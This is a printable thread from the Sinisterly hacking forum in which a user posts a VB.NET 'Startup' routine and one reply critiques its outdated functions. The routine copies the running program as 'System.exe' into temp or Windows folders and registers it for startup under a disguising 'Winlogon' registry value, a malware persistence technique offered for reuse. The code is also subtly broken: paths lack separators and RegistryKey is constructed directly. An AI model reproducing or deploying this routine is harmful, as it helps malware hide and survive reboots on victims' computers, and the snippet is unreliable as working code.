![]() |
|
[VB.NET] Startup - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework) +--- Thread: [VB.NET] Startup (/Thread-VB-NET-Startup--54508) |
[VB.NET] Startup - jNova - 03-27-2014 .NET RuLz :Confused: Code: If reg = True Then
Dim fLocation As String = String.Empty
If temp = True Then
fLocation = Environ("temp") & "System.exe"
ElseIf win = True Then
fLocation = Environ("windir") & "System.exe"
ElseIf custom = True Then
fLocation = dir & "System.exe"
End If
If System.IO.File.Exists(fLocation) = False Then
IO.File.Copy(Application.ExecutablePath, fLocation)
End If
Dim regKey As New RegistryKey
regKey = Registry.CurrentUser.OpenSubKey(regtxt, True)
regKey.SetValue("Winlogon", fLocation)
regKey.Close()
End IfRE: [VB.NET] Startup - ArkPhaze - 04-05-2014 This is not VB.NET, this is more VB6, you're using old deprecated compatibility methods that shouldn't be used. Environ() is an old function. http://en.wikibooks.org/wiki/Visual_Basic_.NET/Visual_Basic_6_to_.NET_Function_Equivalents |